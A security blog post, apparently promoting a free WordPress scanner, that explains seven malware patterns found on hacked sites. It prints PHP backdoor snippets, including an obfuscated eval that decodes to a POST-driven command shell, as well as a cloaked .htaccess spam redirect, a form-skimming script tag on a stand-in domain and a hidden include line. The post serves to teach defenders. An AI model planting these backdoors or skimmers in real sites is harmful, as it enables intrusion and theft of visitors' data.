What WordPress Malware Actually Looks Like
In my last post I told you about the day I found three backdoors on a “protected” site. Today I want to show you what those threats actually look like when you open the file.
Most site owners have never seen malware and they imagine some big scary virus alert when they finally do. The reality is less cinematic. WordPress malware is understated and carefully designed to look like code that belongs in your site, which is what makes it so dangerous.
Everything below is based on real patterns I’ve encountered cleaning hacked sites over 25 years.
I’ve sanitized the examples so nothing here is functional, but the techniques are real and active in the wild right now.
1. The Base64 Time Bomb
The base64 eval pattern is the most common form of PHP malware on the internet, and the one most scanners think they have solved, but they have not.
<?php
// WordPress SEO Helper v2.1
if(isset($_COOKIE['wp_session'])){
@eval(base64_decode($_COOKIE['wp_session']));
}
Five lines of code, a comment that says “SEO Helper” so your eyes skip right over it, and a cookie check that looks like perfectly normal PHP. The trick is in the last line, where whatever the attacker sets in that cookie gets decoded and executed as PHP code on your server.
There’s no hardcoded payload anywhere in the file and no suspicious strings to match against, because the actual malicious code arrives at runtime through the browser and is invisible to any scanner that only reads files on disk. The file itself looks clean until someone pulls the trigger remotely.
The comment at the top is not laziness. It’s social engineering aimed at you specifically, because your brain sees “WordPress SEO Helper” and files it under “probably a plugin thing,” and attackers know you scan visually before you scan technically.
2. The Variable Shell Game
When attackers want to hide from signature scanners, they avoid writing eval() or base64_decode() directly. Instead, they build the function names from pieces at runtime:
<?php
$a = 'bas'.'e64_d';
$b = 'eco'.'de';
$c = $a.$b;
$d = 'e'.'v'.'a'.'l';
$d($c('aWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpeyBzeXN0ZW0oJF9QT1NUWydjbWQnXSk7IH0='));
Any scanner searching for the string eval will miss this file because the string eval literally doesn’t exist in it. The function name gets assembled at runtime from four separate concatenations, and base64_decode is built the same way. The actual payload is a simple command execution backdoor that runs whatever the attacker POSTs to the file.
I’ve seen this technique taken to absurd extremes, with variable names pulled from string positions, function names constructed from array values, or hex-encoded character codes reassembled through loops. The goal is always the same: make the dangerous words invisible to pattern matching while keeping the behavior fully intact.
This is exactly why Nova Scan doesn’t just search for keywords. It traces how variables flow through the code and identifies behavioral patterns, like “this code is constructing a callable function name and passing untrusted input to it,” regardless of how many layers of string concatenation the attacker wraps around the pieces.
3. The Fake Core File
WordPress ships with files like wp-cron.php, wp-login.php, wp-mail.php, and wp-settings.php, and attackers know you’ve seen those filenames a hundred times. That familiarity is what they exploit by creating files like:
wp-check.phpwp-tmp.phpwp-utf8.phpwp-config-sample.php(this one actually ships with WordPress, so they replace it with a malicious version)
Your eyes glaze over because it looks like WordPress, and that’s the entire trick. Inside these files you’ll usually find a dropper, a small script whose only job is to download and install a larger payload from an external server. The dropper itself contains nothing obviously malicious, just a file_get_contents() call to what looks like an innocent CDN URL.
This is why filesystem integrity checking matters more than most people realize. Nova Scan knows exactly which files belong in WordPress core and which don’t, so a file called wp-check.php in your site root gets flagged immediately because that file has never existed in any version of WordPress ever released.
4. The .htaccess Hijack
Not all malware is PHP, and some of the most effective attacks live inside your .htaccess file, which is the Apache configuration file that most site owners never open.
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|bing|yahoo|facebook) [NC]
RewriteCond %{REQUEST_URI} !^/wp-admin
RewriteRule ^(.*)$ https://pharma-deals-rx.example/redirect?u=%{REQUEST_URI} [R=302,L]
What you’re looking at is a conditional redirect. When a visitor arrives from Google, Bing, Yahoo, or Facebook, meaning they clicked a search result or a shared link, they get redirected to a spam pharmacy site without ever seeing your content. When you visit your own site by typing the URL directly, everything looks completely fine and you’d never know anything was wrong.
This is why site owners end up saying “but my site looks normal to me” while Google is flagging them for spam. The malware literally checks who’s looking before it activates, so the site you see from the browser bar is not the site that search engines and social media visitors are getting, and your .htaccess file has been sitting there with these rules in place for weeks while nobody opened it.
5. The Database Injection
Something that catches a lot of people off guard: malware doesn’t have to be a file at all. Attackers inject JavaScript directly into your database, into post content, widget text, theme options, or even plugin settings. When your site renders that content, the malicious script runs in your visitors’ browsers.
<script src="https://cdn.jquery-analytics.example/ga.min.js"></script>
On the surface it looks like a Google Analytics script loading from a CDN, with a domain name crafted to sound legitimate. But jquery-analytics.example has nothing to do with jQuery or analytics. It’s a script that harvests form data, including login credentials, payment information, and personal details, and sends it to the attacker’s server.
This kind of injection is invisible to any scanner that only checks files because the filesystem is completely clean. The malware lives in a single database row, injected through a vulnerability months ago, silently skimming data from every visitor. Nova Scan checks your database for exactly these patterns, including scripts loading from unknown external domains, inline JavaScript with obfuscation, and injected iframes that don’t belong in your content.
6. The Legitimate Plugin Backdoor
This category is the one that keeps me up at night, because attackers don’t always upload new files. They often modify files that already exist, and a single added line is enough.
Picture a single line added to the bottom of wp-content/plugins/contact-form-7/includes/mail.php:
@include_once(ABSPATH . 'wp-content/uploads/2024/03/.cache.php');
That’s the whole change. One line appended to a legitimate plugin file, including a file hidden in the uploads directory.
Uploads is a directory that WordPress doesn’t monitor for PHP execution by default, the dot-prefix makes the file hidden on Linux systems, and the .cache.php name makes it look like a caching artifact if anyone ever stumbles across it.
Contact Form 7 has 5 million installs, which means most site owners would never think to check its source code because they installed it from wordpress.org and trusted it was safe. The attacker is betting that you update plugins by clicking “Update” in the dashboard, which overwrites the files and removes their modification. But the included file in /uploads/ survives the update, and the next time the attacker finds another vulnerability they’ll add that one line right back.
7. The Invisible Admin
Sometimes the malware isn’t a file or a database row at all, but a user account.
I’ve cleaned sites where the attacker’s first move was to create a WordPress administrator account with a username like wordpress_support or wpsec_update, names that look like they belong to a plugin or service. The account then sits there, unused, invisible in the user list if you have more than a handful of users and don’t scroll far enough.
No code gets modified and no payload gets planted. The attacker simply has a legitimate admin account they can log into whenever they want, through the front door, with full privileges. If you clean the malware but skip auditing your user list, they walk right back in the next day.
Nova Scan flags rogue administrator accounts as part of its database audit, so if an admin account was created outside of your normal registration flow, or if its email domain doesn’t match your site’s domain, you’ll know about it the next time you scan.
What All of These Have in Common
Every example above shares three traits. They all look like they belong, whether as fake core files, modified plugin files, or database content, because nothing in any of these examples screams “I’m malware” and that invisibility is the entire point of how they’re written. They all evade signature scanning, since the variable construction, runtime payloads, and conditional execution mean the dangerous behavior only exists when the code runs and not when a scanner reads it from disk. And they all persist through cleanups, because database injections survive file restores, upload directory backdoors survive plugin updates, and rogue admin accounts survive almost everything. Attackers design for persistence because they know you’ll eventually notice something is wrong, and their goal is to survive your response.
How to Actually Find This Stuff
If you take one thing from this post, let it be that a scanner which only matches known signatures is going to miss most of what’s actually out there. Modern WordPress malware is specifically engineered to evade exactly that approach.
What you need instead is behavioral analysis that understands what code does rather than what it looks like, combined with database scanning rather than filesystem-only scanning, and integrity checking against known-good WordPress core files. All of that needs to be accessible without a $99/year subscription, because attackers don’t check your budget before they compromise your site.
That’s why I built Nova Scan. It’s free forever, every finding is shown in full, and there’s no premium tier hiding the details of your own site’s security from you.
Install it, run a scan, and see what’s actually hiding in your WordPress installation. The malware that actually costs sites their reputation and their traffic isn’t the kind that breaks things visibly. It’s the kind that leaves everything looking fine while doing whatever it wants behind your back, and that is exactly what Nova Scan is built to find.
~ SephX, Nova Heaven. Still cleaning up messes, still refusing to charge you for the privilege of knowing about them.